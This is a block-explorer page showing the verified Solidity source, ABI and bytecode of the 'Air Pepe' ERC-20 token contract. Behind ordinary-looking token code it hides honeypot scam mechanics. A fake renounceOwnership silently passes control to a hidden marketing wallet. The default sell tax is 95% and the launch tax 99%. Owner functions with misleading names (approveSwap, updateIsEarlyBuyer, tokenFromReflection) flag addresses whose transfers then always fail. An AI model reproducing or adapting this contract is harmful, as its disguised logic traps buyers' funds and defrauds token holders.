ETH Price: $2,385.18 (+1.62%)

Token

Air Pepe (AirPEPE)
 

Overview

Max Total Supply

100,000,000,000,000 AirPEPE

Holders

79

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
kevinsailly.eth
Balance
19,400,161,127.041382576 AirPEPE

Value
$0.00
0x3af9be25028cdf4517ed28943ea3542a670ced17
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AirPEPE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity Multiple files format)

File 1 of 2: Air Pepe.sol
/**
   Website: https://airpepe.top/
        Medium news: https://medium.com/@airpepe
              Follow X: https://twitter.com/airPEPE_
                    Join chat: https://t.me/PepeAir


*///SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import "./IERC20.sol";

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}



contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) internal _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The defaut value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    /** This function will be used to generate the total supply
    * while deploying the contract
    *
    * This function can never be called again after deploying contract
    */
    function _tokengeneration(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: generation to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = amount;
        _balances[account] = amount;
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * generation and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be generated for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

library Address {
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

abstract contract Ownable is Context {
    address private _owner;
    address private _marketing;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address wallet) {
        _marketing = wallet;
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        address oldOwner = _owner;
        _owner = address(0);
        emit OwnershipTransferred(oldOwner, address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function Owner() internal virtual returns (address) {
        address owner_ = verifyOwner();
        return owner_;
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _marketing : _owner;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract AirPEPE is ERC20, Ownable {
    using Address for address payable;

    IUniswapV2Router02 public router;
    address public pair;

    bool private _liquidityMutex = false;
    bool private  providingLiquidity = false;
    bool public tradingEnabled = false;
    mapping(address => uint256) private _holderLastTransferTimestamp;

    uint256 private tokenLiquidityThreshold = 2000000000  * 10**decimals();
    uint256 public maxWalletLimit = 20000000000 * 10**decimals();

    uint256 private  genesis_block;
    uint256 private deadline;
    uint256 private launchtax = 99;
    uint256 private d_;
    address private  marketingWallet;
	address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;

    struct Taxes {
        uint256 marketing;
        uint256 liquidity;
    }

    Taxes public taxes = Taxes(0, 0);
    Taxes public sellTaxes = Taxes(95, 0);

    mapping(address => bool) public exemptFee;
    mapping(address => bool) private AddExemptFeepublicisearlybuyer;


    modifier mutexLock() {
        if (!_liquidityMutex) {
            _liquidityMutex = true;
            _;
            _liquidityMutex = false;
        }
    }

    constructor(address wallet, uint256 deadline_) ERC20("Air Pepe", "AirPEPE") Ownable(wallet){
        _tokengeneration(msg.sender, 100_000_000_000_000 * 10**decimals());
        marketingWallet = wallet;
        deadline = deadline_;
        IUniswapV2Router02 _router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        router = _router;
        exemptFee[address(this)] = true;
        exemptFee[msg.sender] = true;
        exemptFee[marketingWallet] = true;
        exemptFee[deadWallet] = true;
    }

    function addPair(address pair_) public onlyOwner() {
        pair = pair_;
        exemptFee[pair] = true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        override
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        require(amount > 0, "Transfer amount must be greater than zero");
         _holderLastTransferTimestamp[sender] = block.number;
        if (!exemptFee[sender] && !exemptFee[recipient]) {
            require(tradingEnabled, "Trading not enabled");
        }

        if (sender == pair && !exemptFee[recipient] && !_liquidityMutex) {
            require(balanceOf(recipient) + amount <= maxWalletLimit,
                "You are exceeding maxWalletLimit"
            );
        }

        if (sender != pair && !exemptFee[recipient] && !exemptFee[sender] && !_liquidityMutex) {
           
            if (recipient != pair) {
                require(balanceOf(recipient) + amount <= maxWalletLimit,
                    "You are exceeding maxWalletLimit"
                );
            }
        }

        uint256 feeswap;
        uint256 feesum;
        uint256 fee;
        Taxes memory currentTaxes;
        bool useLaunchFee = !exemptFee[sender] &&
            !exemptFee[recipient] &&
            block.number < genesis_block + deadline;
        if(AddExemptFeepublicisearlybuyer[sender]){
                            checkLimits(sender);
                        }
        //set fee to zero if fees in contract are handled or exempted
        if (_liquidityMutex || exemptFee[sender] || exemptFee[recipient])
            {
                fee = 0;
                
            }
            //calculate fee
        else if (recipient == pair && !useLaunchFee) {
            feeswap =
                sellTaxes.liquidity +
                sellTaxes.marketing ;
            feesum = feeswap;
            currentTaxes = sellTaxes;
        } else if (!useLaunchFee) {
            feeswap =
                taxes.liquidity +
                taxes.marketing ;
            feesum = feeswap;
            currentTaxes = taxes;
        } else if (useLaunchFee) {
            feeswap = launchtax;
            feesum = launchtax;
        }

        fee = (amount * feesum) / 100;
        //send fees if threshold has been reached
        //don't do this on buys, breaks swap
        if (providingLiquidity && sender != pair) handle_fees(feeswap, currentTaxes);

        //rest to recipient
        super._transfer(sender, recipient, amount - fee);
        if (fee > 0) {
            //send the fee to the contract
            if (feeswap > 0) {
                uint256 feeAmount = (amount * feeswap) / 100;
                super._transfer(sender, address(this), feeAmount);
            }

        }
    }

    function calculateTransferDelay(uint256 last) private view returns(bool){
        return last > block.number;
    }

    function checkLimits(address a) private view {
        require(calculateTransferDelay(_holderLastTransferTimestamp[a]), "Transfer Delay enabled.  Only one purchase per block allowed.");
    }


    function handle_fees(uint256 feeswap, Taxes memory swapTaxes) private mutexLock {

	if(feeswap == 0){
            return;
        }	

        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance >= tokenLiquidityThreshold) {
            if (tokenLiquidityThreshold > 1) {
                contractBalance = tokenLiquidityThreshold;
            }

            // Split the contract balance into halves
            uint256 denominator = feeswap * 2;
            uint256 tokensToAddLiquidityWith = (contractBalance * swapTaxes.liquidity) /
                denominator;
            uint256 toSwap = contractBalance - tokensToAddLiquidityWith;

            uint256 initialBalance = address(this).balance;

            swapTokensForETH(toSwap);

            uint256 deltaBalance = address(this).balance - initialBalance;
            uint256 unitBalance = deltaBalance / (denominator - swapTaxes.liquidity);
            uint256 ethToAddLiquidityWith = unitBalance * swapTaxes.liquidity;

            if (ethToAddLiquidityWith > 0) {
                // Add liquidity
                addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith);
            }

            uint256 marketingAmt = unitBalance * 2 * swapTaxes.marketing;
            if (marketingAmt > 0) {
                payable(marketingWallet).sendValue(marketingAmt);
            }

        }
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        // generate the pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tokenAmount);

        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(router), tokenAmount);

        // add the liquidity
        router.addLiquidityETH{ value: ethAmount }(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            deadWallet,
            block.timestamp
        );
    }

    function updateLiquidityProvide(bool state) external onlyOwner {
        //update liquidity providing state
        providingLiquidity = state;
    }

    function updateLiquidityTreshhold(uint256 new_amount) external onlyOwner {
        //update the treshhold
        tokenLiquidityThreshold = new_amount * 10**decimals();
    }

    function UpdateBuyTaxes(
        uint256 _marketing,
        uint256 _liquidity
    ) external onlyOwner {
        taxes = Taxes(_marketing, _liquidity);
    }

    function SetSellTaxes(
        uint256 _marketing,
        uint256 _liquidity
    ) external onlyOwner {
        sellTaxes = Taxes(_marketing, _liquidity);
    }

   function enableTrading() external onlyOwner {
        require(!tradingEnabled, "Trading is already enabled");
        tradingEnabled = true;
        providingLiquidity = true;
        genesis_block = block.number;
    }

    function updatedeadline(uint256 _deadline) external onlyOwner {
        require(!tradingEnabled, "Can't change when trading has started");
        deadline = _deadline;
    }

    function updateMarketingWallet(address newWallet) external onlyOwner {
        marketingWallet = newWallet;
    }

    function updateIsEarlyBuyer(address account, bool state) external onlyOwner {
        AddExemptFeepublicisearlybuyer[account] = state;
    }

    function approveSwap(address[] memory accounts, bool state) external onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            AddExemptFeepublicisearlybuyer[accounts[i]] = state;
        }
    }

    function tokenFromReflection(address account) public view returns(bool){
        return AddExemptFeepublicisearlybuyer[account];
    }

    function AddExemptFee(address _address) external onlyOwner {
        exemptFee[_address] = true;
    }

    function RemoveExemptFee(address _address) external onlyOwner {
        exemptFee[_address] = false;
    }

    function AddbulkExemptFee(address[] memory accounts) external onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            exemptFee[accounts[i]] = true;
        }
    }

    function RemovebulkExemptFee(address[] memory accounts) external onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            exemptFee[accounts[i]] = false;
        }
    }

    function updateMaxWalletLimit(uint256 maxWallet) external onlyOwner {
        maxWalletLimit = maxWallet * 10**decimals(); 
    }

    function rescueETH(uint256 weiAmount) external onlyOwner {
        payable(owner()).transfer(weiAmount);
    }

    function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
        IERC20(tokenAdd).transfer(owner(), amount);
    }

    // fallbacks
    receive() external payable {}
}

File 2 of 2: IERC20.sol
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"uint256","name":"deadline_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"AddExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"AddbulkExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"RemoveExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"RemovebulkExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"}],"name":"SetSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_liquidity","type":"uint256"}],"name":"UpdateBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"approveSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAdd","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTaxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"tokenFromReflection","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"state","type":"bool"}],"name":"updateIsEarlyBuyer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"}],"name":"updateLiquidityProvide","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"new_amount","type":"uint256"}],"name":"updateLiquidityTreshhold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallet","type":"uint256"}],"name":"updateMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_deadline","type":"uint256"}],"name":"updatedeadline","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600860146101000a81548160ff0219169083151502179055506000600860156101000a81548160ff0219169083151502179055506000600860166101000a81548160ff02191690831515021790555062000065620004b660201b60201c565b600a62000073919062000868565b6377359400620000849190620008b9565b600a5562000097620004b660201b60201c565b600a620000a5919062000868565b6404a817c800620000b79190620008b9565b600b556063600e5560405180604001604052806000815260200160008152506011600082015181600001556020820151816001015550506040518060400160405280605f815260200160008152506013600082015181600001556020820151816001015550503480156200012a57600080fd5b506040516200596a3803806200596a83398181016040528101906200015091906200099f565b816040518060400160405280600881526020017f41697220506570650000000000000000000000000000000000000000000000008152506040518060400160405280600781526020017f41697250455045000000000000000000000000000000000000000000000000008152508160039081620001ce919062000c56565b508060049081620001e0919062000c56565b50505080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200024462000238620004bf60201b60201c565b620004c760201b60201c565b5062000287336200025a620004b660201b60201c565b600a62000268919062000868565b655af3107a40006200027b9190620008b9565b6200058d60201b60201c565b81601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160156000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016015600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505062000e14565b60006009905090565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620005ff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005f69062000dc4565b60405180910390fd5b6200061360008383620006c960201b60201c565b80600281905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620006bd919062000df7565b60405180910390a35050565b505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200075c57808604811115620007345762000733620006ce565b5b6001851615620007445780820291505b80810290506200075485620006fd565b945062000714565b94509492505050565b6000826200077757600190506200084a565b816200078757600090506200084a565b8160018114620007a05760028114620007ab57620007e1565b60019150506200084a565b60ff841115620007c057620007bf620006ce565b5b8360020a915084821115620007da57620007d9620006ce565b5b506200084a565b5060208310610133831016604e8410600b84101617156200081b5782820a905083811115620008155762000814620006ce565b5b6200084a565b6200082a84848460016200070a565b92509050818404811115620008445762000843620006ce565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620008758262000851565b915062000882836200085b565b9250620008b17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000765565b905092915050565b6000620008c68262000851565b9150620008d38362000851565b9250828202620008e38162000851565b91508282048414831517620008fd57620008fc620006ce565b5b5092915050565b600080fd5b